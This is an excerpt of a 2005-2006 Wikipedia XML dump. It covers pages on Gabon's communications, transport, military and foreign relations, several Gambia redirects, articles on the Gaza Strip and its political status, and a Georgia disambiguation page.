$4.6 billion (1999 est.)

'''Economic aid - recipient:'''
$331 million (1995)

'''Currency:'''
1 Communauté financière africaine [[franc]] ([[CFAF]]) = 100 [[centime]]s

'''Exchange rates:'''
Communauté financière africaine francs (CFAF) per US$1 - 647.25 (January 2000), 615.70 (1999), 589.95 (1998), 583.67 (1997), 511.55 (1996), 499.15 (1995)
&lt;br&gt;''note:''
since [[1 January]] [[1999]], the CFAF is pegged to the euro at a rate of 655.957 CFA francs per euro

'''[[Fiscal year]]:'''
[[calendar year]]

==See also==
*[[Gabon]]
*[[Economy of Africa]]

{{WTO}}

[[Category:WTO members|Gabon]]
[[Category:Gabon]]
[[Category:Economies by country|Gabon]]
[[Category:African Union member economies|Gabon]]
[[fr:Économie_du_Gabon]]
[[pt:economia do Gabão]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Gabon</title>
    <id>12033</id>
    <revision>
      <id>29982953</id>
      <timestamp>2005-12-03T03:51:32Z</timestamp>
      <contributor>
        <username>RlyehRising</username>
        <id>472450</id>
      </contributor>
      <minor />
      <comment>redo intro</comment>
      <text xml:space="preserve">'''Communications in Gabon''', a [[West Africa|West African]] nation, consists of a number of methods.

==Land Lines==
'''Telephones - main lines in use:'''
32,000 (1995)
==Mobile and Cellular lines==
'''Telephones - mobile cellular:'''
4,000 (1995)
==Systems==
'''Telephone system:'''
&lt;br&gt;''Domestic:''
*Adequate system of [[cable]]
*[[Microwave]] [[radio]] relay
*[[troposphere|Tropospheric]] scatter
*Radiotelephone communication stations
*Domestic satellite system with 12 Earth stations
&lt;br&gt;''International:''
*Satellite Earth stations - 3 [[Intelsat]] ([[Atlantic Ocean]])
==Radio Communication==
'''Radio broadcast stations:'''
AM 6, FM 7, shortwave 6 (1998)

'''Radios:'''
208,000 (1997)
==Television Communication==
'''Television broadcast stations:'''
4 (plus five low-power repeaters) (1997)

'''Televisions:'''
63,000 (1997)
==Internet Communication==
'''Internet Service Providers (ISPs):'''
1 (1999)
==Codes==
'''[[Country codes|Country code]] (Top-level domain):''' GA

'''Telephone code (when dialing Gabon internationally):'''  241

:''See also :'' [[Gabon]]

[[Category:Gabon]]
[[Category:Communications by country|Gabon]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Gabon</title>
    <id>12034</id>
    <revision>
      <id>37833152</id>
      <timestamp>2006-02-02T12:01:40Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Gabon]] to [[Transport in Gabon]]: part of a series</comment>
      <text xml:space="preserve">== [[Railway]]s ==
The only railway in the nation is the [[Trans-Gabon Railway]].

&lt;br&gt;''total:''
649 km ([[Gabon State Railways]] or OCTRA)
&lt;br&gt;''standard gauge:''
649 km 1.435-m gauge; single track (1994)

=== Railway links with adjacent states ===

* [[Transportation in Equatorial Guinea|Equatorial Guinea]] - no
* [[Transportation in Cameroon|Cameroon]] - no
* [[Transportation in the Republic of the Congo|Republic of the Congo]] - no

* [[Gulf of Guinea]]

== [[Highway]]s ==
Main article: [[Roads in Gabon]]
&lt;br&gt;''total:''
7,670 km
&lt;br&gt;''paved:''
629 km (including 30 km of expressways)
&lt;br&gt;''unpaved:''
7,041 km (1996 est.)

== Waterways ==
1,600 km perennially navigable

== Pipelines ==
crude oil 270 km; petroleum products 14 km

== [[Seaport]]s and [[harbor]]s ==
[[Cap Lopez-Harbour|Cap Lopez]], [[Kango]], [[Lambarene]] (railhead), [[Libreville]], [[Mayumba]], [[Owendo]], [[Port-Gentil]]

== [[Merchant marine]] ==
&lt;br&gt;''total:''
1 ship (1,000 GRT or over) totaling 2,419 GRT/3,205 DWT
&lt;br&gt;''ships by type:''
cargo 1 (1999 est.)

== [[Airport]]s ==
61 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
11
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
8
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
50
&lt;br&gt;''1,524 to 2,437 m:''
9
&lt;br&gt;''914 to 1,523 m:''
16
&lt;br&gt;''under 914 m:''
25 (1999 est.)

== See also ==

* [[Gabon]]

{{Africa in topic|Transport in}}

{{CIAfb}}

[[Category:Gabon]]
[[Category:Transportation by country|Gabon]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Gabon</title>
    <id>12035</id>
    <revision>
      <id>40592214</id>
      <timestamp>2006-02-21T18:08:45Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 15909743 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">Gabon has a small, professional military of about 5,000 personnel, divided into army, navy, air force, gendarmerie, and national police. Gabonese forces are oriented to the defense of the country and have not been trained for an offensive role. A well-trained, well-equipped 1,800-member guard provides security for the president.

'''Military branches:'''
Army, Navy, Air Force, Presidential (Republican) Guard (charged with protecting the president and other senior officials), National Gendarmerie, National Police

'''Military manpower - military age:'''
20 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
284,358 (2002 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
146,908 (2002 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
11,304 (2002 est.)

'''Military expenditures - dollar figure:'''
$70.8 million (FY01)

'''Military expenditures - percent of GDP:'''
2% (FY01)

==References and Links==
*[[Gabon]]
[[Category:Gabon]]
[[Category:Militaries|Gabon]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Gabon</title>
    <id>12036</id>
    <revision>
      <id>24365174</id>
      <timestamp>2005-09-30T01:46:37Z</timestamp>
      <contributor>
        <username>Shimgray</username>
        <id>126457</id>
      </contributor>
      <comment>add an image, for the sake of it</comment>
      <text xml:space="preserve">[[Image:Gabon, Ottawa.jpg|thumb|right|Embassy of Gabon in Ottawa, Canada.]]
[[Gabon]] has followed a [[non-aligned]] policy, advocating dialogue in international affairs and recognizing both parts of divided countries. Since [[1973]], the number of countries establishing diplomatic relations with Gabon has doubled. In inter-[[Africa]]n affairs, Gabon espouses development by evolution rather than revolution and favors regulated free enterprise as the system most likely to promote rapid economic growth. Concerned about stability in Central Africa and the potential for intervention, Gabon has been directly involved with mediation efforts in [[Chad]], [[Central African Republic]], [[Republic of Congo|Congo-Brazzaville]], [[Angola]], and former [[Democratic Republic of Congo|Zaire]]. In December [[1999]], through the mediation efforts of President [[Omar Bongo|Bongo]], a peace accord was signed in Congo-Brazzaville between the government and most leaders of an armed rebellion. President Bongo has remained involved in the continuing Congolese peace process. Gabon has been a strong proponent of regional stability, and Gabonese armed forces played an important role in the [[United Nations|UN]] Peacekeeping Mission to the Central African Republic ([[MINURCA]]).

Gabon is a member of the UN and some of its specialized and related agencies, including the [[World Bank]]; [[Organization of African Unity]] (OAU); [[Central African Customs Union]] (UDEAC/CEMAC); EC association under [[Lome Convention]]; [[Communaute Financiere Africaine]] (CFA); [[Organization of the Islamic Conference]] (OIC); [[Nonaligned Movement]]; withdrew from the [[Organization of Petroleum Exporting Countries]] (OPEC).

'''Disputes - international:'''
maritime boundary dispute with [[Equatorial Guinea]] because of disputed sovereignty over islands in [[Corisco Bay]]

[[Category:Gabon]]
[[Category:Foreign relations by country|Gabon, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia</title>
    <id>12037</id>
    <revision>
      <id>15909745</id>
      <timestamp>2003-12-25T00:38:47Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>links all refer to country</comment>
      <text xml:space="preserve">#REDIRECT[[The Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/History</title>
    <id>12038</id>
    <revision>
      <id>23133851</id>
      <timestamp>2005-09-13T01:00:19Z</timestamp>
      <contributor>
        <username>Bash</username>
        <id>225814</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[History of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/Geography</title>
    <id>12039</id>
    <revision>
      <id>15909747</id>
      <timestamp>2005-06-16T16:03:58Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/People</title>
    <id>12040</id>
    <revision>
      <id>23436802</id>
      <timestamp>2005-09-18T03:49:53Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <comment>Fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Demographics of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Gambia</title>
    <id>12041</id>
    <revision>
      <id>38005340</id>
      <timestamp>2006-02-03T15:13:09Z</timestamp>
      <contributor>
        <username>Dbenbenn</username>
        <id>38020</id>
      </contributor>
      <comment>fix #redirect [[Politics of The Gambia]]</comment>
      <text xml:space="preserve">#redirect [[Politics of The Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Gambia</title>
    <id>12042</id>
    <revision>
      <id>15909750</id>
      <timestamp>2005-01-29T21:29:38Z</timestamp>
      <contributor>
        <username>Naive cynic</username>
        <id>84472</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/Communications</title>
    <id>12043</id>
    <revision>
      <id>23241672</id>
      <timestamp>2005-09-14T21:50:28Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <comment>Fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Communications of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/Transportation</title>
    <id>12044</id>
    <revision>
      <id>24815938</id>
      <timestamp>2005-10-05T15:08:33Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Transport in the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/Military</title>
    <id>12045</id>
    <revision>
      <id>23405825</id>
      <timestamp>2005-09-17T18:38:59Z</timestamp>
      <contributor>
        <username>IslandHopper973</username>
        <id>427801</id>
      </contributor>
      <minor />
      <comment>Fixed double redirect; [[Wikipedia:Computer help desk/cleanup/double redirects/20050713|You can help!]].</comment>
      <text xml:space="preserve">#REDIRECT [[Military of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gambia/Transnational issues</title>
    <id>12046</id>
    <revision>
      <id>15909754</id>
      <timestamp>2005-06-25T03:18:24Z</timestamp>
      <contributor>
        <username>Peter Grey</username>
        <id>268253</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Foreign relations of the Gambia]]</text>
    </revision>
  </page>
  <page>
    <title>Gaza Strip</title>
    <id>12047</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>40946168</id>
      <timestamp>2006-02-24T01:17:49Z</timestamp>
      <contributor>
        <ip>209.128.81.201</ip>
      </contributor>
      <comment>/* Geography */</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right; width: 400px&quot;&gt;
[[Image:Gz-map.png|right|framed|Map of the Gaza Strip from [[The World Factbook]].]]
[[Image:Flag_of_Palestine.svg|125px|center]]
{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;float: right; margin: 0 0 1em 1em; font-size: 90%;&quot; width=&quot;300px&quot;
|+ &lt;font size=&quot;+1&quot;&gt;'''&amp;#x642;&amp;#x637;&amp;#x627;&amp;#x639; &amp;#1594;&amp;#1586;&amp;#1577;'''&lt;/font&gt;&lt;br /&gt;
&lt;font size=&quot;+1&quot;&gt;'''Qita' Ghazzah'''&lt;/font&gt;&lt;br /&gt;
&lt;font size=&quot;+1&quot;&gt;'''&amp;#1512;&amp;#1510;&amp;#1493;&amp;#1506;&amp;#1514; &amp;#1506;&amp;#1494;&amp;#1492;'''&lt;/font&gt;&lt;br /&gt;
&lt;font size=&quot;+1&quot;&gt;'''Retzu'at 'Azza'''&lt;/font&gt;
|-
| colspan=&quot;2&quot; align=&quot;center&quot; |
|-
| [[Official Language]]s
| [[Arabic language|Arabic]]&lt;br/&gt;
([[Domari language|Domari]] also spoken)
|-
| [[Area]]&lt;br/&gt;
&amp;nbsp;- Total&lt;br/&gt;
&amp;nbsp;- % water
| (not ranked)&lt;br/&gt;
360 [[square kilometre|km²]]&lt;br/&gt;
0%            
|-
| [[Population]]&lt;br/&gt;
&amp;nbsp;- Total&lt;br/&gt;
&amp;nbsp;- [[Population density|Density]]
| (not ranked)&lt;br/&gt;
1,376,289  (July 2005 est)&lt;br/&gt;
3,823/km² (July 2005 est)
|-
| [[Currency]] || 1 [[New Israeli sheqel]]&lt;br/&gt;
(NIS) = 100 Agorot
|-
| [[Time zone]] || [[UTC]] +2/[[Daylight saving time|+3]]
|}
&lt;/div&gt;
&lt;div&gt; The '''Gaza Strip''' is a narrow coastal [[strip of land]] along the [[Mediterranean]], in the [[Middle East]], not currently recognized internationally as a ''[[de jure]]'' part of any [[Sovereignty|sovereign]] country.   It takes its name from [[Gaza]], its main city.  It is one of the most densely populated territories on earth, with about 1.4 million residents in an area of 360 km². The Strip is under the jurisdiction of the [[Palestinian Authority]]. The official Palestinian position is that the territory remains under [[military occupation]], and that Israel holds the status of occupying power. The Israeli government disputes this, especially after the [[Israel's unilateral disengagement plan|withdrawal of Israel]] in 2005.

== Background ==

Geographically, the Strip forms the westernmost portion of the [[Palestinian territories]] in [[Southwest Asia]], having land borders with [[Egypt]] on the south-west and [[Israel]] on the north and east. On the west, it is bounded by the [[Mediterranean Sea]].   

The Strip's borders were originally defined by the [[1949 Armistice Agreements|armistice lines]] between Egypt and Israel after the [[1948 Arab-Israeli War]], which followed the dissolution of the [[British mandate of Palestine]]. It was occupied by [[Egypt]] (except for four months of Israeli occupation during the [[Suez Crisis]]) until it was captured by Israel in the 1967 [[Six-Day War]].  In 1993, after the Palestinian-Israeli agreements known as the [[Oslo Accords]], much of the Strip came under limited [[Palestinian Authority]] control.  In February 2005 the Israeli government voted to implement [[Israel's unilateral disengagement plan of 2004|Prime Minister Ariel Sharon's plan for unilateral disengagement]] from the Gaza Strip beginning on [[August 15]], [[2005]]. The plan required the dismantling of all Israeli settlements there, and the removal of all Israeli settlers and military bases from the Strip, a process that was completed on [[September 12]], [[2005]] as the Israeli cabinet formally declared an end to military rule in the Gaza Strip after 38 years of control. The withdrawal was highly contested by the radical nationalist right in Israel, particularly the religious nationalist tendency, and some supporters of these tendencies now consider the Gaza Strip to be an occupied part of Israel. Following withdrawal, Israel retains offshore maritime control and control of airspace over the Strip.  Israel withdrew from the &quot;[[Philadelphi Route]]&quot; that is adjacent to the Strip's border with [[Egypt]] after an agreement with the latter to secure its side of the border.  The future political status of the Gaza Strip remains undecided, and is claimed as part of any prospective Palestinian state.

== Demographics ==
Around [http://www.cia.gov/cia/publications/factbook/geos/gz.html 1.37 million] [[Palestinian]]s live in the Gaza Strip. The majority of the Palestinians are direct descendants of refugees who fled or were expelled from Israel during the [[1948 Arab-Israeli War]]. By 1967, the population had grown about six-fold, and the Strip's population has continued to increase since that time. Poverty, unemployment, and poor living conditions are widespread, and their causes have been attributed to the extremely high birth rate, disruptions to the economy due to Israeli closure policies since the first [[intifada]], and/or corruptness and inefficiency of the Palestinian Authority. From the 1970s onwards, 25 [[Israeli settlement]]s were constructed in the Gaza Strip, but these were removed in August 2005. The Palestinian population is growing by around 4% a year. Over 99% residents of the strip are Palestinian [[Muslim]], with a small Palestinian [[Christianity|Christian]] (0.7%) minority. 

Demographic numbers for the Gaza Strip are acquired from the Palestine Ministry of Health (2005 estimates)[http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=350]:

* ''Birth rate'': 30.8 births/1,000 population (2005 est.) [http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=350]
* ''Death rate'': 3.2 deaths/1,000 population [http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=350]:
* ''net migration'': 1.54 migrant(s)/1,000 population 
* ''infant mortality'': 21.3 deaths/1,000 live births [http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=362]
* ''fertility'': 4.7 children born/woman [http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=362]
* ''Population growth rate'': 2.8% [http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=350]:

== Geography ==
The Gaza Strip is located in the [[Middle East]] (at {{coor dm|31|25|N|34|20|E|}}). It has an 11km border with [[Egypt]], near the city of [[Rafah]], and a 51km border with [[Israel]]. Religious and nationalist [[Jews]] claim the entire Gaza Strip as part of [[Israel]] while Palestinians claim it as part of a future Palestinian state. The Government of Israel unilaterally withdrew from the Strip and evacuated all Israeli residents who resided mainly in [[Gush Katif]] along the South Western coast of Gaza. It also has a 40 km coastline on the [[Mediterranean Sea]]. 

The Gaza Strip has a [[temperate]] climate, with mild [[winter]]s, and dry, hot [[summer]]s subject to [[drought]]. The terrain is flat or rolling, with [[dune]]s near the coast. The highest point is [[Abu 'Awdah]] ([[Joz Abu 'Auda]]), at 105 metres above sea level. Natural resources include [[arable land]] (about a third of the strip is irrigated), and recently discovered [[natural gas]]. Environmental issues include [[desertification]]; [[Biosalinity|salination]] of fresh water; [[sewage treatment]]; [[water-borne disease]]; [[soil degradation]]; and depletion and contamination of [[underground water]] resources. It is considered to be one of the fifteen territories that comprise the so-called &quot;[[Cradle of Humanity]].&quot;

It currently holds the oldest known remains of a manmade bonfire and some of the world's oldest dated human skeletons.

== Economy ==

{{See|Palestinian economy}}

Economic output in the Gaza Strip declined by about one-third between 1992 and 1996. This downturn has been variously attributed to corruption and mismanagement by [[Yasser Arafat]] and to [[Israel]]i closure policies&amp;mdash;the imposition of generalized border closures in response to [[Palestinian terrorism|terror attacks in Israel]]&amp;mdash;which disrupted previously established labor and commodity market relationships between Israel and the Strip. The most serious negative social effect of this downturn was the emergence of high unemployment.

Israel's use of comprehensive closures decreased during the next few years and, in 1998, Israel implemented new policies to reduce the impact of closures and other security procedures on the movement of [[Palestinian]] goods and labor into Israel. These changes fueled an almost three-year-long economic recovery in the Gaza Strip. Recovery ended with the outbreak of the [[al-Aqsa Intifada]] in the last quarter of 2000. The [[al-Aqsa Intifada]] triggered tight [[IDF]] closures of the border with Israel as well as frequent curbs on traffic in Palestinian self-rule areas, severely disrupting trade and labor movements. In 2001, and even more severely in early 2002, internal turmoil and Israeli military measures in Palestinian Authority areas resulted in the destruction of capital plant and administrative structure, widespread business closures, and a sharp drop in [[Gross domestic product|GDP]]. Another major factor has been the decline of income earned due to reduction in the number of Gazans permitted entry to work in Israel. After the Israeli withdrawal from Gaza, Israel again resumed the flow of a limited number of workers into Israel but has stated its intention to reduce or end such permits due to the victory of [[Hamas]] in the [[Palestinian_legislative_election%2C_2006|2006 parliamentary elections]].

During the time of Israeli settler presence in the Gaza Strip, settlers built greenhouses and experimented with new forms of agriculture. These greenhouses also provided employment for many hundred Gazan Palestinians. When Israel withdrew from the Gaza Strip in the Summer of 2005, these greenhouses were bought by the World Bank and given to the Palestinian people to jump-start their economy. Most of these greenhouses are now utilized by Palestinian farmers, although there have been incidents of looting and vandalism in a few locations. 

According to the [[CIA World Factbook]], GDP in 2001 declined 35% to a per capita income of $625 a year, and 60% of the population is now below the [[poverty]] line. Gaza Strip industries are generally small family businesses that produce [[textile]]s, [[soap]], [[olive-wood]] carvings, and [[mother-of-pearl]] souvenirs; the Israelis have established some small-scale modern industries in an industrial center. [[Electricity]] is supplied by Israel. The main agricultural products are [[olive]]s, [[citrus]], [[vegetable]]s, [[Halal]] [[beef]], and [[dairy products]]. Primary exports are citrus and cut flowers, while primary imports are food, consumer goods, and construction materials. The main trade partners of the Gaza Strip are Israel, [[Egypt]], and the [[West Bank]].

==Health==
A study carried out by [[Johns Hopkins University]] (USA) and [[Al-Quds University]] (in [[Jerusalem]]) for [[Cooperative for Assistance and Relief Everywhere|CARE International]] in late 2002 revealed very high levels of dietary deficiency among the Palestinian population.  The study found that 17.5% of children aged 6&amp;ndash;59 months suffered from chronic [[malnutrition]].  53% of women of reproductive age and 44% of children were found to be [[Anemia|anemic]]. In the aftermath of the [[Israel's unilateral disengagement plan|Israeli withdrawal]] of [[August 2005|August]] and [[September 2005|September]] [[2005]], the healthcare system in Gaza continues to face severe challenges [http://news.yahoo.com/s/nm/20051017/lf_nm/mideast_gaza_health_dc].

== Transport and communication ==
[[Image:Gaza airport 03.jpg|thumb|Damaged part of [[Yaser Arafat International Airport]]]]

The Gaza strip has a small, poorly developed road network.  It also has a single [[standard gauge]] railway line running the entire length of the strip from north to south along its center; however, it is abandoned and in disrepair, and little trackage remains. The line once connected to the Egyptian railway system to the south as well as the [[Israel Railways|Israeli system]] to the north.

The strip's one port was never completed after the outbreak of the [[Al-Aqsa Intifada]]. Its airport, the [[Gaza International Airport]], opened on [[24 November]] [[1998]] as part of agreements stipulated in the [[Oslo II Accord]] and the [[23 October]] [[1998]] [[Wye River Memorandum]]. The airport was closed in October 2000 by Israeli orders, and its runway was destroyed by the [[Israel Defense Forces]] in December 2001. It has since been renamed [[Yaser Arafat International Airport]].

The Gaza strip has rudimentary landline telephone service provided by an open-wire system as well as extensive mobile telephone services provided by PalTel (Jawwal) or Israeli providers such as [[Cellcom (Israel)|Cellcom]]. Gaza is serviced by four [[internet service provider]]s that now compete for ADSL and dial-up customers. Most Gaza households have a radio and a TV (70%+), and roughly 20% have a [[personal computer]]. People living in Gaza enjoy access to satellite television (Al-Jazeera, Lebanese and Egyptian entertainment programs, etc.), local private channels, and broadcast TV from the [[Palestinian Broadcasting Corporation]], the [[Israel Broadcasting Authority]] and the [[Second Israeli Broadcasting Authority]].

==See also==
* [[Gaza]]
* [[Israeli-Palestinian conflict]]
* [[Israel's unilateral disengagement plan]]
* [[Jabalia]] (Refugee Camp and village)
* [[Occupation of the Gaza Strip by Egypt]]
* [[Occupation of the West Bank and East Jerusalem by Jordan]]
* [[Palestine (region)|Palestine]]
* [[Political status of the West Bank and Gaza Strip]]
* [[Smuggling tunnels]]
* [[West Bank]]

==External links==
{{sisterlinks|Gaza Strip}}
*[http://www.gaza.net Directory of Palestinian related websites]
*[http://www.un.org/Depts/dpi/palestine/ United Nations - Question of Palestine]
* [http://www.cia.gov/cia/publications/factbook/geos/gz.html Gaza Strip] from the [[CIA World Factbook]]
*[http://www.careusa.org/newsroom/pressreleases/2003/jan/01032003_study.pdf Nutritional Assessment of the West Bank and Gaza Strip]
*[http://www.lib.utexas.edu/maps/middle_east_and_asia/gazastrip91.jpg 1991 Map of the Gaza Strip] from the [[University of Texas at Austin]]
&lt;!--*[http://www.middle-east-online.com/english/?id=14121 General Moufaz about current Israeli plans for Philadelphi corridor]--&gt;
*[http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1124504879286&amp;p=1101615860782 Gaza women join Hamas fighters] by [[Khaled Abu Toameh]], published in the [[Jerusalem Post]] August 21, 2005.
*[http://maps.google.com/maps?ll=31.419288,34.392700&amp;spn=0.535513,0.962814&amp;t=k Gaza Strip at Google Maps]
*[http://www.moh.gov.ps/index.asp?deptid=0&amp;pranchid=62&amp;action=details&amp;serial=350 Palestine Ministry of Health]

{{Asia}}


[[Category:Disputed territories]]
[[Category:Geography of Israel]]
[[Category:Geography of Palestine]]

[[an:Faxa de Gaza]]
[[ar:قطاع غزة]]
[[bg:Ивица Газа]]
[[cs:Pásmo Gazy]]
[[da:Gazastriben]]
[[de:Gazastreifen]]
[[eo:Gaza Sektoro]]
[[es:Franja de Gaza]]
[[et:Gaza tsoon]]
[[fi:Gaza]]
[[fr:Bande de Gaza]]
[[gl:Faixa de Gaza]]
[[he:רצועת עזה]]
[[hu:Gázai övezet]]
[[ia:Banda de Gaza]]
[[id:Jalur Gaza]]
[[is:Gasaströndin]]
[[it:Striscia di Gaza]]
[[ja:ガザ地区]]
[[lt:Gazos Ruožas]]
[[lv:Gazas josla]]
[[ms:Gaza]]
[[nl:Gazastrook]]
[[nn:Gazastripa]]
[[no:Gaza]]
[[pl:Strefa Gazy]]
[[pt:Faixa de Gaza]]
[[ro:Fâşia Gaza]]
[[ru:Сектор Газа]]
[[sh:Pojas Gaze]]
[[sk:Pásmo Gazy]]
[[sv:Gazaremsan]]
[[zh:加沙地带]]</text>
    </revision>
  </page>
  <page>
    <title>Political status of the West Bank and Gaza Strip</title>
    <id>12048</id>
    <revision>
      <id>37556986</id>
      <timestamp>2006-01-31T19:39:07Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce links to 'non-preference' date elements</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

[[Image:BarrierMay2005.png|thumb|250px|The approved barrier route as of May 2005]]

The '''political status of the West Bank and Gaza Strip''' is one of the most violently disputed issues in the [[Arab-Israeli conflict]]. Various conferences and negotiations have been conducted to determine the status of the [[West Bank]] and [[Gaza Strip]] (see &quot;[[Palestinian territories]]&quot;).

The [[Israel]]-[[PLO]] [[Declaration of Principles on Interim Self-Government Arrangements]] (the DOP, better known as the [[Oslo accords]]), signed in [[Washington, DC|Washington]] on [[13 September]] [[1993]], provided for a transitional period not exceeding five years of [[Palestinian]] interim [[self-government]] in sections of the [[Gaza Strip]] and the [[West Bank]]. Under the DOP, Israel agreed to transfer certain powers and responsibilities to the [[Palestinian Authority]], which includes the [[Palestinian Legislative Council]] elected in January 1996, as part of the interim self-governing arrangements in the West Bank and Gaza Strip.

A transfer of powers and responsibilities for the Gaza Strip and [[Jericho]] took place pursuant to the Israel-PLO [[4 May]] [[1994]] [[Cairo Agreement|Cairo Agreement on the Gaza Strip and the Jericho Area]] and in additional areas of the West Bank pursuant to the Israel-PLO [[28 September]] [[1995]] [[Interim Agreement]], the Israel-PLO [[15 January]] [[1997]] [[Protocol Concerning Redeployment in Hebron]], the Israel-PLO [[23 October]] [[1998]] [[Wye River Memorandum]], and the [[4 September]] [[1999]] [[Sharm el-Sheikh Agreement]].

The DOP provides that Israel will retain responsibility during the transitional period for external security and for[internal security and public order of [[Israeli settlement]]s and citizens. Direct negotiations to determine the permanent status of Gaza and West Bank had begun in September 1999 after a three-year hiatus, but have been derailed by the [[al-Aqsa Intifada]] that broke out in September 2000. The resulting widespread violence in the West Bank and Gaza Strip, Israel's military response, and instability within the Palestinian Authority continue to undermine progress toward a permanent agreement. 

In 2004, the Israeli government issued a plan for total withdrawal from the [[Gaza Strip]] by late 2005, which became known as the [[Israel's unilateral disengagement plan|Disengagement Plan]]. The [[Palestinian Authority]] welcomed this plan, but declared that until [[Final Status]], the Gaza Strip will still be legally under Israeli occupation. Many Israelis opposed the plan, and tensions were very high in Israel before and after the Disengagement Plan was approved by the Israeli [[Knesset]] on [[February 16]], [[2005]]. 

Israeli settlers left their homes or were removed from their homes in June by the [[Israel Defense Forces]] and Israeli police.  Israel completed the disengagement on [[11 September]] [[2005]].  
==See also==
* [[Gaza Strip]]
* [[West Bank]]
* [[Occupation of the West Bank and East Jerusalem by Jordan]]
* [[Occupation of the Gaza Strip by Egypt]]
* [[1949 Armistice Agreements#With Egypt|1949 Armistice Agreements with Egypt]]
* [[1949 Armistice Agreements#With Jordan|1949 Armistice Agreements with Jordan]]

[[Category:History of Israel]]
[[Category:Israeli-Palestinian conflict]]
[[Category:Palestine]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Gaza Strip</title>
    <id>12049</id>
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    <title>Demographics of the Gaza Strip</title>
    <id>12050</id>
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    <title>Politics of the Gaza Strip</title>
    <id>12051</id>
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    <title>Economy of the Gaza Strip</title>
    <id>12052</id>
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      <id>15909760</id>
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    <title>Communications in the Gaza Strip</title>
    <id>12053</id>
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    <title>Transportation in the Gaza Strip</title>
    <id>12054</id>
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      <id>15909762</id>
      <timestamp>2003-04-11T14:19:50Z</timestamp>
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    <title>Military of the Gaza Strip</title>
    <id>12055</id>
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    <title>Foreign relations of the Gaza Strip</title>
    <id>12056</id>
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  <page>
    <title>Georgia</title>
    <id>12057</id>
    <revision>
      <id>41179072</id>
      <timestamp>2006-02-25T16:02:51Z</timestamp>
      <contributor>
        <username>E Pluribus Anthony</username>
        <id>266462</id>
      </contributor>
      <minor />
      <comment>tweak dab descriptions</comment>
      <text xml:space="preserve">'''Georgia''' most commonly means: &lt;!-- [[Georgia (disambiguation)]] redirects here --&gt;

* [[Georgia (country)]], a [[state|sovereign state]] in the [[Caucasus (geographic region)|Caucasus region]]: &lt;!-- [[Georgia (Caucasus)]], [[Georgia (state)]] redirects --&gt;
** Formerly &quot;Republic of Georgia&quot; (1990&amp;ndash;1995) &lt;!-- [[Republic of Georgia]] redirects --&gt;
** Formerly [[Georgian SSR]], part of the USSR (1921&amp;ndash;1990),
** Formerly [[Democratic Republic of Georgia]] (DRG) (1918&amp;ndash;1921)
* [[Georgia (U.S. state)]], a [[U.S. state|constituent state]] of the [[United States]]:
** Formerly [[Province of Georgia]], one of the Thirteen Colonies (1732&amp;ndash;1805).

Other geographical meanings:

* [[South Georgia and the South Sandwich Islands]], a territory of the United Kingdom in the South Atlantic Ocean
* [[Strait of Georgia]], also known as ''Georgia Strait'' and ''Gulf of Georgia''
